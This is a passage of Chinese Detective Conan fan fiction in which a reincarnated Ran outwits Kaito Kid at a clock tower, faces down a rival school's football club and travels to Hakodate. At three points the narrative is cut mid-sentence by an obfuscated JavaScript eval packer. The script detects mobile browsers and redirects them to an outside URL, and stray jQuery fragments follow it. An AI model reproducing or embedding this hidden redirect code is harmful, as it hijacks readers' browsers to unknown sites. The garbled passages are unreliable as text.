我记得有跟他说过、我对做警察没什么兴趣,但这也不是那么绝对的事。毕竟我今年才读高中二年级,距离入职的时间还有好几年,说不定中间会发生什么让我改变决定的大事。
“唔,根据未来大学的情况、我可能会考虑参加公考成为职业组。”
“哈?”
直升机停在楼顶还没有起飞,我翘起嘴角,望向窗外,愉快地继续补充:“算算时间,说不定我会比松田警官更早成为警视呢。”
“喂喂……”
“开玩笑的,我不喜欢体制内的束缚感,也不喜欢为了案件熬夜加班,更不想成为高高在上的领导者。”我耸耸肩,仍旧看着窗外,“而且,说不定我会因为这次电影,顺利进入演艺圈,像新一的妈妈那样,一举成名成为超一流演员。”
对藤峰有希子当年过早退圈颇有怨念的松田阵平立刻吐槽:“然后退圈跟推理小说家结婚?”
“才不会呢,二十岁退圈也太浪费了。”我连忙摆手表达抗拒,“再说,能够打败我的艾琳、哪有那么容易遇到呢。”
“艾琳……你还真把自己当成福尔摩斯了?”
“打个比方不行吗?不过我必须澄清一下,我并不认为福尔摩斯对艾琳有任何尊敬和佩服以外的特殊感情。”
松田阵平无语地望着我:“这个澄清有必要吗?”
“当然有,去年有福尔摩斯的爱好者自费出版了一本叫作《艾琳·艾德勒的嘲笑》的同人小说,结果差点引发杀人事件。”
我同样无语地向他讲述起当时的情况:“是个认定艾琳绝不会嘲笑福尔摩斯的家伙,那本书出版后,他在论坛里发了好几天过激言论,然后突然删掉帖子注销了账号。我觉得不对劲、就稍微调查了一下,结果发现他竟然正计划着杀掉作者。”
松田阵平的表情一时间堪称魔幻:“那家伙不会是米花人吧?”
“很遗憾,并不是——后续是我跟他发邮件谈了谈,连劝解带分析利弊,最终让他打消了这个糟糕的念头。”
说到这里,我沉痛地叹了口气:“本来同人就是自由的嘛,他觉得艾琳不会那样,那就尽管去写他心里的艾琳、去跟持有不同意见的人正面对抗。即便写不出小说、也可以发点带有考据的小短文反驳,怎么能直接对作者下杀手呢?”
松田问:“那后来呢?他也去写福尔摩斯的同人小说了?”
那样就皆大欢喜了,可惜几封邮件驱不散对方内心的阴暗。
“没有。”我摇了下头,“他选择了继续在论坛里发表过激言论,只是不再局限于柯南道尔的爱好者论坛,还试图把战火拉到阿加莎和奎因的爱好者中、来获取认同感……现在应该正等着上庭,他被很多同人作者联名起诉,罪名是诽谤中伤之类的。”
最后,我忍不住唏嘘:“虽然救下了最初那位同人作者的命,但其他人、还有阿加莎和奎因,他们又做错了什么呢。”
·
大约十一点半,直升机终于升空、向怪盗基德发出预告的钟楼进发。我打起精神,打开一侧的直升机门,一边远远地盯着时钟巨大的表盘。
身上没有肩负任务、仅仅是受目暮警官的委托、才来陪我坐直升机的松田阵平对于我严阵以待的状态有些不解:“你觉得怪盗基德能突破搜查二科警察的防线?”
我耿直地点头:“没错。”
“就算你刚才提出了不少建议、现在又拿着对讲机、准备取代中森警官进行指挥?”
我再度点头:“毕竟计划赶不上变化,二科的警察还没有适应基德的能力,我也还没有。”
“……适应基德的能力?”
“是啊,我有预感我们还会交锋很多次——用不了多久,他就不再是我的对手了。”
当然,这次我也不会放他轻易离开。
在我与中森警官争夺着指挥权的过程中,易.容成警察混进钟楼的怪盗基德、像原作中一样经由通风管道爬上楼,并在迷晕追逐他的警察后,伪装出警察的声音、称「自己」已经解除了伪装。
我并没有戳破他的谎言,时间已然接近零点,我将笔记本电脑收好,打开运动相机的录制,而后打开了我这边的拉门。
虽然在高空中开直升机的门相当危险,但松田阵平并没有试着阻止我。他只是盯着自己的手表,直到表盘上的三个指针在十二点重合、钟楼的报时声也响起来,才猛地抬起头,看向钟楼的方向。
钟楼表盘前方有粉色的烟雾升起,并迅速将巨大的表盘完全遮盖住。我向侧边松田的方向瞟了一眼,趁着他专心观看怪盗基德「魔术表演」的机会,用在夏威夷学到的技术,悄悄摸来了他的手.枪。
……别问我夏威夷怎么还教这个,它就是教了。
而后烟雾散去,目之所及,表盘上的指针一根不剩。
“很精彩的魔术,你说对吧,松田警官。”
松田阵平并没有回应我,他仍旧凝神盯着表盘,几秒之后露出恍然大悟的表情,同时对驾驶员指示道:“我们飞近一点。”
我挑起了眉:“不愧是松田警官。”
卷发刑警却露出点无语来:“你这是在嘲讽我、比你慢好一会儿才看穿魔术伎俩吗?”
——我们眼中的「表盘」并非真正的表盘,而是怪盗基德趁着烟雾遮蔽视线的时候放下、没有画表盘指针的幕布。他并没有在短短几十秒中偷走指针,那不过是个简单的障眼法。
“怎么会?”我无辜地瞪圆了眼睛,“我只是见过类似的魔术而已——对了、松田警官,我有一件事要拜托你。”
“什么?”
“事后写一下有关开枪原因的报告书。”
话音落下之前,我已然向表盘的方向举起了他的枪,利索上膛扣下扳机。
我们的直升机所在的位置是钟楼的右侧,原作里新一开枪先打断的是幕布左侧下方的绑绳,所以不再受束缚、因风起飞的幕布,会完全遮挡住直升机这边的视线,导致他俩无缘当时相见。
所以这一次我瞄准了右侧的绑绳。
伴随着溢散的火药味和和一声枪响,迷人的月光下,我与幕布之下迷人的白衣怪盗对上视线,心脏狂跳起来。
我立即给枪拉上保险以防出现意外,然后微笑起来。
隔着不过十几米的距离,那人的脸被帽檐和单片眼镜遮挡大半。但他应该能看清我的脸,说不定也能看清我兴奋的笑容。
身旁的松田在此刻开口,声音听起来并不生气,反倒满是疑惑:“你为什么这么熟练?你的枪法也是在夏威夷学的?”
除了肯定他的疑问外,我对此还有话要讲:“作为警校传说的独生女,继承一点射击天赋不是理所当然的吗?”
“……你是要向安室凛那样的特工方向发展?”
我不再看怪盗基德,回身对上松田的脸:“当然不是,我毛利兰有一个梦想。”说着我一手扯住校服西装外套的领口,义正辞严,“——我要成为「当代的蝙蝠侠」。”
对面的人嘴角猛地一抽:“蝙蝠侠?”
“啊不是不是!我是说福尔摩斯,当代的福尔摩斯。”
可恶,都怪新一总是吐槽我想做蝙蝠侠,终于有一次让我在其他人面前说岔了。
也不知道他跟中森青子有没有打上招呼,原作里怪盗基德几次三番在兰的面前冒充新一,还总是吃定新一不能揭穿他。这一次我们反其道而行之,先给黑羽快斗君一点小小的撞脸震撼,给他一点危机感。
不过现在,就给他放点水,让他开枪打断幕布的其他绑绳,借助幕布飘落时遮蔽视线的空档,保留下一点优雅和体面逃走吧。
同样身在表盘附近的中森警官很快经由目暮警官、将电话打进了松田阵平的手机,质问他为什么开枪之后,又告诉他怪盗基德在表盘上刻了暗号。
我的记忆里有着暗号的内容,所以只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451232|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
需要回忆、不需要思考。对在手账本上写写画画的松田阵平露出一个和善的笑容后,我将他的枪还给他,又沿着自己校服裙摆下边缘按了一圈,确认内侧固定的魔术贴每处、都和安全裤外侧的魔术贴严丝合缝之后,解开了外套里侧、伸缩背带的固定扣。
这条出自阿笠博士之手的伸缩背带,堪称博士这些年研究军火、制造的各种发明的集大成者。
在原作中,它不仅能够拉住电子显示屏和滚落的摩天轮,还能发射吊灯打直升机,或者配合脚力增强鞋和腰带足球、打出超过狙击的范围和威力的巨大伤害。
当然,它也能单纯作为升降道具使用。
“松田警官,我还有一件事要拜托你。”
在身旁的卷毛刑警将注意力从暗号中抽出、分给我之前,我快速将背带的一边绕过他的腰,扣在了他腰间,而能够调整背带延长或缩短的另一边,则牢牢扣在了我自己的腰上。
突然意识到我要做什么危险举动的松田阵平猛地抬头,却已然失去了阻止我的机会——
“快点找个地方抓住。”
眼看他近乎条件反射地抓住直升机上的固定扶手,我扯开嘴角,从敞开的机门一跃而下。
“——我在下边等你。”
“喂!你就不怕——诶?”已经移动到我刚才的座位、并紧紧抓住座椅旁扶手的松田阵平,望着悬在空中、只是因背带的长度稍微下降了一小段距离的我瞪圆了眼睛,“反重力裙摆?”
看样子他并不怀疑我有能力平稳落地,只是在担心我穿短裙可能走光的问题。
“是魔术道具啦,松田警官你可一定要抓紧扶手,不然魔术就要失败出事故了。”
我仰着头向他挥了挥空着的左手,而紧握着背带的右手、小心地用一根手指按下了操纵背带延长的按钮。
有一说一,这个操作我之前在夏威夷的攀岩场实验练习过几次,但果然还是一如既往地困难。虽然绑带在我的腰上,但为了能够比怪盗基德更加优雅地降落,我全身肌肉都在用力保持平衡,而体重几乎全由握着绑带、还要兼顾按钮的单手承担。
……等这次的事件过后,我一定要找阿笠博士商量一下伸缩背带的改进计划。
不过,今天我的风头是确确实实地出到了——从警视厅的直升机里跃下、借助高科技装备优雅落地的高中生少女,黑色长发在她的身后被风扬起,简直是几乎超越白衣怪盗的亮丽风景线。
“……Safe(安全)。”小声嘟囔了一句,我解下伸缩背带,按下缩短的按钮,让它上升回到松田那边,然后强忍着手臂和腰背的酸痛,在周围人群的注视中露出和煦的微笑。
而命运之神的眷顾、并不只是让我全程维持优雅而已。
“新一?你在这里啊。”
我扬起声音,朝着突然闯入我视线中的少年快速迈开脚步。
大概是觉得我从天而降、一定是身负重要任务,行进路线上的人自然地为我让开一点空间,使我将手搭在正准备挤进人群中溜走的少年肩上成为可能。
“新一、我在叫你呢,你没有听见吗?话说你怎么突然换了发型、还换了衣服?”
在围观群众的视线中,先是被我看见脸、又被我牢牢抓住肩膀、逃也不是、不逃也不行的黑发少年被迫地、缓缓扭过头来,望着我笑意盎然的脸弱弱开口:“你认错人了……”
然而话音被遮盖在我愈发激动的话音之下:“新一你刚才看到怪盗基德现身的画面了吗?没看到也没关系,我全都录下来了。”
我指了指仍旧牢牢固定在胸前的运动相机,满眼都闪烁着小星星。
“怪盗基德真是厉害的魔术师啊,他可是从我这个高中生侦探眼前逃走的第一个犯罪者,成功打击到了我过剩的自信心。”
虽然这么说着,我的表情却一定能让他回想起几分钟之前、看见我在直升机里对他举着枪的美妙画面。
“所以呢……”
我松开握着他肩膀的手,向他走近一步,笑容越发兴奋。
“今后他但凡发出预告函,我必会到场——赌上福尔摩斯的名义,我一定会亲手把手铐带在他手上。”
15.钟楼守护者·四
“呀、真是抱歉,原来你不是新一,但你跟我的青梅竹马长得真的很像诶。”
因为怪盗基德的行动结束,围观的人群渐渐散开,我和黑羽快斗也从被围观的境遇中脱离,但我可以表现得放松一点,他却不能。
刚才人群里有记者认出了我,不仅拍了照,还记录下了我放出的豪言壮语。黑羽快斗的身影也被一同收进照片中,却是以总与我一同行动的新一的身份。
我觉得从今往后,他绝对不会想扮成新一出现在我身边……或者说根本不会想主动出现在我身边。
“没、没关系,我不在意。”
虽然嘴上这么说着,但心里已经在想着怎么找借口开溜了吧?
不过下一秒,我的青梅竹马就彻底剥夺了他从我身边逃走的机会——
“青子小姐,那位是不是你的青梅竹马?”
熟悉的声音自我们身后传来,我回头望去,我的青梅竹马罕见地戴上了眼镜。
那是发明自阿笠博士、集合了诸多眼镜之长、既能防弹、又能拆出发信器和迷你窃听装置、更能充当望远镜和显示屏的高科技「犯人追踪眼镜」。
当然,也能在有需要的时候反白光,以此凸显眼镜主人的智慧与深沉心思。
我身旁的少年也因为这声「青子」而回过头去,在看到与自己长相高度相似的少年身旁、看起来心情特别好的自家青梅竹马时,表情当时就绷不住了。
而我与新一对视一眼,默契地露出关爱怜惜的笑容来。
现在,这个钟楼广场,已然成为了我们新兰这对青梅竹马、跟快青那对青梅竹马的初遇纪念地。
我不知道中森青子怎么想,但我看黑羽快斗大概是欲哭无泪的。
·
既然长相如此相似、又恰好是同龄的两对青梅竹马有幸在此相遇,加上新一明显跟青子聊得还不错,四个人就在路边站定,互相交换了学校和名字。
聊了几分钟,话题中心自然地变成了刚刚现身的怪盗基德。而我作为名义上最接近事件中心的人,也自然地成为了话题的主导人——
“怪盗基德在指针中心那一圈刻下了暗号,解明后,是「这座钟楼的钟声不会交给你」。”
我望了一眼双挑眉的黑羽快斗,唇角翘起来一点。
“如果我的推理没错,他应该是江古田本地人,这座钟楼对他而言有着重要意义。”
现在他的眉毛耸拉下来了。
中森青子则皱起了小脸:“可他明明是说、要来偷这座钟楼……”
“这就是小偷解决问题的办法吧?”我笑笑,“那个暗号的答案我没有告诉警方,同样能够立刻解明暗号、与我同行的那位刑警应该也不会说。”
“诶?为什么?”
“因为,只要暗号不解开,那栋钟楼就要作为警方的物证、暂时被留在这里。”我解释道。
“而警方会在调查中发现时钟指针上的宝石其实是仿品,由此原先的出售计划告吹……那个时候钟楼的价格骤降,江古田市政府应该会愿意买下它吧。”
“——那样一来,他的目的就彻底达成了。”
看看,我全都说中了吧?汗流浃背了吧?
“嘛,虽说不是杀人放火的坏家伙,但我刚才已经把话放了出去。”我双手握拳,做了个给自己加油打气的动作,“我一定会亲手把手铐带在他手上——痛!松田警官!你怎么这么快?”
“什么就给他戴手铐,”突然出现在我们后方的卷毛刑警满脸不爽地看着我,一手拿着我的伸缩背带,一手刚才正捶在我脑袋上,“你不是不准备当警察吗?你一个侦探、而且是无证的高中生侦探,根本没有逮捕权。”
“啧,我又没准备逮捕他,只是给他带手铐而已,算是我扳回一局。”
再说我也不希望他被逮捕啊,就算我正在欺负他,但我还是很喜欢他的。
“你刚才要是瞄准他本人开枪,他现在肯定已经被逮捕了。”松田阵平的手展开再次落在了我的头顶,很大力地揉了揉,“然后你可以把责任推给我,说是我开的枪。目标毕竟是国际罪犯,只要伤的不重,也就是写一个检查就能应付的事。”
“我才不会对没有杀意的人开枪啦,而且万一我开枪的时候直升机颠簸了一下,子弹射中要害怎么办?”我瞪了他一眼,“松田警官你这是在试探我吗?你不会做的事、我当然也不会做啊。”
松田的事先放到一边,眼前还是先把想对小偷先生传达的话说完——
“但是呢,我希望怪盗基德能够知道,他今晚的行为,究竟消耗了多少税金。”
大概是从没想过这个问题,黑羽快斗明显一愣:“税、税金?”
于是我掰着手指给他详细解释起来——
“首先是数百名警察的加班费,按照今天的规模,粗略估算要二百万日元。如果有人受伤,就要加上工伤赔偿。如果有人内心受创,就要加上心理疏导的费用。”
作为现役刑警的松田阵平中肯地点了点头。
我又接着说了下去:“交通工具和衣装、设备的消耗,数量够多的话,总价当然也足够高。”
“然后是临时的防盗装置,这次倒是没有额外安装什么高科技产物。不过他以前出动那几次,中森警官都使用了价格相当惊人的设备。”
“我印象里大多数设备都是向厂家租借的,如果是毫无损坏的设备、应该是只要支付手续费和租金就可以退还,但是被基德弄坏的就没办法了。还有不可避免的运输以及加急安装的费用。”
“那些被他破坏或动过手脚的摄像头、通风管道、墙壁地板,有些不需要警方负责,但也有很多需要警方负责。”
“还有案发地附近的交通管制——深夜还好一些,如果是晚上八点九点,把人流量大的地域封锁起来,损失可能比上述所有金额加起来更高。”
“而以上我提到的这些费用,归根结底,全都是由税金支付的。”
提到税金,还有多少围观群众能笑得出来?
“我觉得吧,只要公开一下具体数额,怪盗基德的爱好者数量会立刻减半。大批原本觉得无关紧要的社畜、不是、纳税人,也会立刻加入抵制他的队伍。”
说到这里,我露出和煦的笑容来。
“不是所有人都愿意为了可有可无、仅仅是作为生活调剂的魔术表演花钱,黑羽君,你觉得呢?”
黑羽君很应付地悻悻表达了“你说的对”。
但我觉得,他可能在认真考虑以后不要再在凌晨之前出动了。
·
如果怪盗基德自此之后只在零点之后出没,那他一定会经常性睡眠不足,由此生长速度缓慢、甚至不再增加身高……
那么用不了多久,我的青梅竹马就能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483050|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在物理意义上压他一头!谁是兄谁是弟一目了然!那时候他要是还敢冒充我的青梅竹马,我就用他的增高鞋垫来揭穿他!
计划通!不愧是我!
·
回到松田阵平的车上、启程向米花出发,我的困意立刻涌了上来,但在放任自己失去意识之前,我先拉住了身旁的青梅竹马:“进展如何?”
“交换了Line和邮箱。”新一回答,接着凑近我耳边压低了声音,“也拿到了基德的账号,线上分享给你。”
透过后视镜看到这一幕的松田挑了挑眉:“你们在商量什么不能让我知道的事?”
我顺势倒在青梅竹马的肩膀上,懒洋洋地开口反问:“我们高中生之间的社交,明年就步入三十代的松田警官你也想加入吗?”
松田咂舌:“你都困成这样了也不忘惹火我?”
“越困越控制不住自己嘛,松田警官请理解一下还没习惯熬夜的高中生、嘶、新一——”
突然将我一直小心蜷在身侧的右手展开在自己面前的苹果头少年小声叹了口气,抬手打开了车后座顶上的灯,又习以为常地从书包里取出绷带。
“怎么了?”松田问。
“兰的掌心有一道血痕,”新一低着头熟练地扯着绷带,“她刚才干什么傻事了?不会是从直升机上跳下来了吧?”
“那一幕你没看见?”松田笑了一声,“名侦探确实是从直升机上跳了下去。”
新一问:“超英落地?”
我的嘴角直抽搐:“那倒没有。”
那种单膝跪地的落地姿势帅归帅,但是对膝盖太不友好。等阿笠博士什么时候发明出能够完全吸收子弹程度冲击的身体防护装置,我才准备尝试那个动作。
新一了然应声:“那看来你的膝盖没事。”
正值红灯停车,松田阵平扭过头,从前排座位中间看了过来,看起来有些疑惑:“你完全不生气啊?”
“为什么要生气?”新一给绷带打了个结,利索地收起余下的绷带,语气与往常并无不同,“只是带着安全装置跳机而已,又不是毫无准备地抓着床单跳楼。我知道以兰的身体素质和反应能力,最多只会受这种程度的小伤。”
说着他又向我提醒:“不过下次记得带上手套,或者拜托博士改进一下道具,增加绑带数来分散重量。”
“明白,明天睡醒我就去找博士。”
松田又咂了下舌,不知是在感慨什么。
交通灯转绿,车再次开动。
经历了刚才包扎伤口的痛楚,现在我已经完全清醒过来了。
我正准备重新酝酿睡意,就听见前边松田问道:“名侦探,基德留下的暗号,你听到的时候就已经解开了吧。”
“嘛……”我含糊地应了一声,反过来问他,“你呢?把答案告诉中森警官了吗?”
松田的回答理直气壮:“我又不在这个任务里。”
真遗憾,看来中森警官只好自己努力了。
猜到我在直升机上做了什么的新一提醒道:“但松田警官还是要为开枪的事写报告。”
“这怪谁啊!被扣工资的话,名侦探你必须负责啊!”
“知道啦,”我愉快地应声,“如果松田警官你被停职或者被开除,我也会负起责来,赡养你后半生的。”
“喂!不要咒我啊!再说什么叫赡养啊!”
16.五菱星·一
“兰——”
是午休快结束的时间,我在教室里趴着构思小说剧情,就听见园子的声音由远及近,以速度推算是一路小跑过来。
我抬头望向教室门口,正想提醒一句「走廊里不让跑步、被老师抓到会被骂」,没想看见的却是女子足球部的部长、三年级的青垣学姐。
我当即合起做记录的笔记本、站起身来,向教室门口走去:“茜酱?找我吗?”
我和青垣茜是在初中认识的,我一年级第一次被当时足球部的部长邀请去做球队外援的时候,她表达过强烈反对。接着就在部长提出的点球比赛中,被我百分百的进球率踢哭了。
那之后我喊她就再也不用喊姓氏加上前辈,她说在她能赢过我之前,配不上这样的称呼。然而到现在五年过去,偶尔进行得点球比赛中,她一次也没能赢过我。
“杯户高中的女子足球部的部长刚才向我下了战书,邀请我们今天放学后在杯户高中比一场。但事发突然,我刚才确认了一遍今天能出场的正选,正好差一个位置。虽然让非正选的学妹顶上也未尝不可,但对手毕竟是老对头杯户……”
所以她才来找我这个没有加入社团、放学后拥有大把空余时间的足球部专用外援。
“虽然我今晚没有安排,身体状态也没问题。但茜酱应该还记得,去年杯户高中的男子足球部、为什么没能参加高中联赛的选拔吧?”
青垣茜对天翻了个白眼:“是他们的正选霸凌同学才导致失去参赛资格,只不过是被你发现了真相而已,这又不是你的错。”她冷哼一声,“再说,本来他们也踢不进全国大赛,虽然我们学校也进不去就是了。”
一旁的园子非常赞同地狠狠点头。
我不禁笑起来:“但我们的女足就不同了,茜酱已经收到俱乐部的邀请了吧?”
“诶?你知道?”
“我毕竟在U12锦标赛的冠军队里待过两年,有些当时认识的朋友现在还在踢球。”
“但是兰酱却放弃了。”
“因为我有更想做的事嘛。”毕竟我没有准备成为专业足球选手,反而更想要成为侦探并兼职小说作家,“援助请求我接受了,放学后我去足球部的活动室找你。园子也要去吗?”
园子点点头:“那当然!我参加网球比赛的时候,兰也从没有不到场吧?”
那是当然的,她可是我在这个世界上,最重要的友人了。
·
……结果我意料中的麻烦还是到来了。
与杯户高中的友谊赛,在开场三十分钟后,被一场突如其来的大雨打断。即便这场雨很快停止,但地面还是被水浸透,今天之内场地无法再用作比赛,所以我们很快收拾解散。
而在离开杯户高中的路上,我们很不巧的遇到了去年与我结怨的男子足球部部员——确切地说,那三个穿着足球部队服的少年,明显就是冲着我来的。
领头的是个我隐约有点印象、但并未有过交集的同级生,拦在我的面前,开口就是一句让我很难评的“你竟然还敢到这里来”。然后从嘲讽到质疑,直到最后以“我看你的推理,都是那个工藤新一想的吧”收尾。
有一说一,这种低等级的挑衅,我甚至都懒得理会。但园子显然容不得我被欺负,她一步跨到我面前来,单手叉腰,怼起人来干脆利落:“那么羡慕的话,你自己也破几个案子给大家看看啊。啊、你该不会是心思不纯吧,不会吧不会吧,不会真有人因为喜欢我们兰、想被兰记住,才用这种幼稚的方法引起她的注意吧?”
嗯……看来时至今日,园子都还记得幼儿园时我和新一默契联合怼哭小朋友的事,句式跟那时我们用的一模一样。
相比起前来挑事的男生,园子的声音明显更大。不仅吸引到了走在我们前方不远处的青垣学姐一行人,还引来了一般路过学生的视线。正好有一批穿着空手道服的学生们跑步经过,我注意到领队的人示意后边的人继续跑,自己则放缓速度,几步走到了我们这边来。
“发生了什么事?”空手道服的少年略微扬起声音,他明显听见了刚才园子的话,也认出了园子是谁,“铃木小姐、遇到什么麻烦了吗?”
是我青梅竹马在赛场上的一生之敌京极真。
我挑了挑眉,心说缘分就是这么无处不在。
京极真会与园子相识,就是因为某次园子听见有人在背后骂我时、勇敢地为我打抱不平,对面的人气急想要动手,结果被目睹全程的京极真阻止,跟今天的场景高度相似。
我的闺蜜园子虽然勇敢又自信,但向来喜欢英雄救美的桥段,在向我描述这段故事的过程中,就隐晦表达了自己有一点心动。而在那之后,京极每次在空手道比赛上遇到来看新一比赛的我,都会明显做出在我周围找人的动作,我也总是忍着笑、告诉他园子有没有跟我同行。
不过今天的事,我是以女子足球部的外援来到这里,还是不要牵扯到任何人、自己解决比较好。
我拍了拍园子的肩,示意她去看走近的京极真,自己则上前一步,面对前来挑事的足球部部员,直白地开口:“你想要表达不满的,是去年禁赛的事吗?”
应对这种找麻烦的方法跟吵架一样,就是要坚定地把矛头对准对方,而不是试着洗清自己被泼的脏水。
“既然你来找我,那就是认定作出决定的联赛委员会判断无误,你那位参与霸凌的前辈部员行为无误,责任全部在于揭露霸凌事件的我咯?”
其实说到这里,事态就已经非常明朗了。带着一众部员在旁边给我撑场子的青垣学姐、表情看起来甚至有点幸灾乐祸——当然是对对方的。
但余光看见园子已经跟京极聊上话,气氛看着甚是不错,我决定再吸引一会儿围观同学的注意力,给他们两个创造更长的相处时间。
“这位还没有自曝姓名的同学,你觉得,这件事应该怎么样处理、才比较好呢?”
句子中间没有停顿,不给对方反应的机会。语句一定要连贯,才能顺畅地把他完全带进我的逻辑中。
“放任同学后辈被欺负吗?确实,他们与你没有关系,不过是同一所学校的陌生人而已。他们无论是身体受创、留下疤痕乃至残疾,还是心理受创、休学退学乃至自杀,都与你没有关系。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518901|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“为了保护社团的荣誉、为了参加选拔赛,应该放着不管,放任他们被欺负。反正欺负他们的不是自己,自己也完全不会有负罪感。”
“你想要向我传达的,是这样的意思吗?”
话语权终于给到对面的少年,他立刻慌乱地想要否认:“不、不是,我才不是——”
可话音又被我打断:“如果不是这样,你究竟是为什么、才会冒着「对外校女生寻衅滋事致使社团再度被禁赛」的风险,出现在这里的?”
·
“诶?真的吗?”我惊讶地看着园子,“京极前辈这么说?”
是在回程的路上,先前那段不愉快已然在足球部部长亲自跑来道歉后平息,但我还是由衷觉得以后不要再来杯户高中比较好。
“是啊,京极前辈说下次如果我们再过来,他会来给我们做护花使者——原话不是这样,但大概是这个意思。”
那好吧,为了园子与官配进展顺利,我也不是不能勉为其难地再来个一两次。
“对了,兰,你之前说、黄金周去函馆旅行的事……”
“你那边有工作对吧?”我比了个OK的手势,“我和新一会带礼物给你的。”
园子摆摆手:“好好享受樱花。”
我笑笑:“还有剑道比赛。”
不过,明面上说是去赏樱、以及应援同校剑道部的比赛,但实际上,所有人都很清楚,在参赛选手涵盖了冲田总司、鬼丸猛和服部平次的前提下,我们学校的剑道部不过就是重在参与的背景板。
而我们的实际目的,其实是解决剧场版「百万美元的五棱星」里、某些外国人带来的小麻烦。
这起原本应该由我们和服部平次一同解决的案件,发生在函馆樱花盛开的四月末。因而适应融入当前世界观里,「工藤新一」还没有变成「江户川柯南」,我们跟服部平次也仅仅还是当年在滑雪场有过一面之缘的关系。
也不知道大冈红叶会是什么样的设定,以及和叶……我还是很喜欢她的,只要不跟她产生误会、被她当作假想敌。
除了外国人带来的小麻烦,在原作里因为「宝藏」而犯下杀人事件的犯人倒是已经不用担心了。
我在大约三年前就给那位未来的犯人寄了信,指明他所寻找的「宝藏」所在的大致位置,也在那之后不久收到了对方的回信。
在搜索一段时间之后,他终于找到了寻找半生的「宝藏」,那被冠以「危险武器」名头的「宝藏」,不过是对于现代科技来说不再存在任何意义的旧时代密码机。
虽然他对于「此宝藏」非「彼宝藏」颇为震惊,但至少这个真相了却了他的遗憾,也不至于让他的继承者自毁前途。
他给我的回信中附着不少照片,其中一张是前代怪盗基德「到此一游」的纪念品。我回信拜托他对此保密,因为「某位继承者会在未来寻此而来」。
差点都忘了,这次旅行的目的还有怪盗基德——我可是说过,「今后他但凡发出预告函,我必会到场」的。
依旧是提前知晓谜底的交锋,希望他能够带给我更多惊喜。
17.五棱星·二
黄金周的假期从4月27日一直休息到5月6日,我提前对照了一下记忆中的时间,赶在放假第一天就与青梅竹马一起出发。
……结果人在机场丢了。
照理说,即便原作里小兰的设定里有路痴这一项,她也不可能在机场去个卫生间就迷路。但我的青梅竹马就是有这样的能力,只要是他初次到访的地方,无论布局多么简单易懂,他都能匪夷所思地走向目的地的反方向。
好在早已习惯这种情况的我,在新一独自前往卫生间之前,特意提醒在我身边放下书包的他拿上手机,避免他在我轻易找不到的地方失联。
“随便找个人问一下路,”我有气无力地对着电话嘱咐道,“我还在刚才的行李转盘前,行李箱已经拿到了。”
听筒中、新一的声音尴尬而委屈:“知道啦,我正准备去问……”
“记得每到一个路口就抓一个路人问一次,千万别相信自己的直觉。”
“知道啦!”
我感慨地摇了摇头,最后又叮嘱了一句:“稍微快一点,来接我们的是初次见面的人,让对方久等不太好。”
虽然新一当时应下得很爽快,但等他找回我指示的位置,已经过去了二十分钟。停车的位置对方已经用邮件发到我的手机上,我拖着他、他拖着行李箱一路狂奔,恰好赶在约定时间的最后一分钟赶到了停车场。
前来机场接我们的人,是原本会在几天之后、开着携带炸.弹的小飞机冲向函馆山的福城圣。他的父亲福城良卫正是我之前写信交流、一直在寻找宝藏的「未来的犯人」。接下来的几天,我们都会借住在福城家里。
等在车旁的青年远远地看见我们,就快步向我们走来:“兰小姐、新一君,初次见面。”他一边帮我们安置行李,一边做了简单的自我介绍。
我则是抓住机会凑在新一耳边,压低了声音:“真人比纸片人更好看。”
福城圣是本地大学医学部的学生,也是居合道的高手,今年刚满二十岁。这样前途无量的帅哥,不会变成被我送进监狱的犯人真是太好了。
·
函馆几乎是北海道范围内、樱花最早盛开的地域,从机场前往福城家的一路上,透过车窗,能够清楚地看到路旁小公园里、大片的粉色云霞。
前排开车的青年声音温柔:“东京的樱花还在开吗?”
“前天下了一场雨,现在已经什么也不剩了。”我正侧身对着窗外拍照,新一在我身后瞄着我的手机屏幕,“不过之前的周末、有跟同学一起去赏樱,吃了超级美味的自制料理。”
每年坐在樱花树下,看着洋洋洒洒的花瓣吃这份料理的时候,我都觉得这一年的樱花季可以圆满结束了。
“自制料理、是兰小姐的母亲制作的吗?”
福城圣的随口推测让我不禁打了个冷颤:“不是不是,我妈做的料理根本就是毒药——喂、新一,不许笑!”
我瞪了新一一眼,才继续开口:“其实是我身边这位工藤新一君制作的,他的料理水平绝对已经够格进高级餐厅当主厨了。”
园子也说,新一的厨艺与她家的私人厨师水平不相上下、甚至更胜一筹,而且她再三保证她的评价绝对客观公正。
“原来是这样。顺便问一句,兰小姐和新一君果然是恋人关系吗?”
“不是。”新一立刻否定道,干脆利落地像是完全不想跟我扯上关系,“如果你想追兰的话,不用把我当成假想敌。”
“不、我不是这个意思……”
